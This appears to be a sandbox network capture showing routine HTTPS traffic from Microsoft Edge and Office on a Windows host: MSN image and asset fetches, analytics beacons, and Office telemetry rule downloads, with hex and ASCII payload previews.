2024-11-21 23:11:57 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:58 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=312234 Expires: Mon, 25 Nov 2024 13:55:52 GMT Date: Thu, 21 Nov 2024 23:11:58 GMT Connection: close
2024-11-21 23:11:58 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49892	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:58 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: bc29e663-afdb-4755-98a8-93c38517b841 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=198100 Expires: Sun, 24 Nov 2024 06:13:38 GMT Date: Thu, 21 Nov 2024 23:11:58 GMT Connection: close
2024-11-21 23:11:58 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49894	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:58 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=396943 Expires: Tue, 26 Nov 2024 13:27:41 GMT Date: Thu, 21 Nov 2024 23:11:58 GMT Connection: close
2024-11-21 23:11:58 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:58 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231158Z-178bfbc474bgvl54hC1NYCsfuw0000000260000000004r91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:58 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49890	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:58 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=295547 Expires: Mon, 25 Nov 2024 09:17:45 GMT Date: Thu, 21 Nov 2024 23:11:58 GMT Connection: close
2024-11-21 23:11:58 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49886	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:58 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:58 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b5bd8ae7-b01e-0031-7959-3c33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231158Z-174c587ffdf7t49mhC1TEB4qbg00000000m0000000002yer Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:58 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49895	18.173.219.113	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:58 UTC	1012	OUT	GET /b2?rn=1732230714889&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=306F509DFB216A50056745A3FA536B36&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=12De08d5b791f06448eef4f1732230715; XID=12De08d5b791f06448eef4f1732230715
2024-11-21 23:11:58 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 21 Nov 2024 23:11:58 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 078fe53d3a4b452fe5cde4b5d9596b0e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: Os4HNo8UR1qoRi43e5QWxsBaxuBZysLMuPYTt6JcnfDwdrNtD0eZVA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:58 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:58 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231158Z-178bfbc474btvfdfhC1NYCa2en000000025000000000mwnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49888	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:58 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:58 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:58 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9ae6ccbc-a01e-002e-3d59-3ce8c0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231158Z-178bfbc474bh5zbqhC1NYCkdug00000001z000000000xyqs Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:58 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:58 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231158Z-178bfbc474bpscmfhC1NYCfc2c00000000p000000000re7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49897	20.110.205.119	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:58 UTC	1261	OUT	GET /c.gif?rnd=1732230714888&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=53c96a7ddf164fe5bea8add971aea1bc&activityId=53c96a7ddf164fe5bea8add971aea1bc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2D251323873B4956AEDB92FD764EF17E&MUID=306F509DFB216A50056745A3FA536B36 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; SM=T
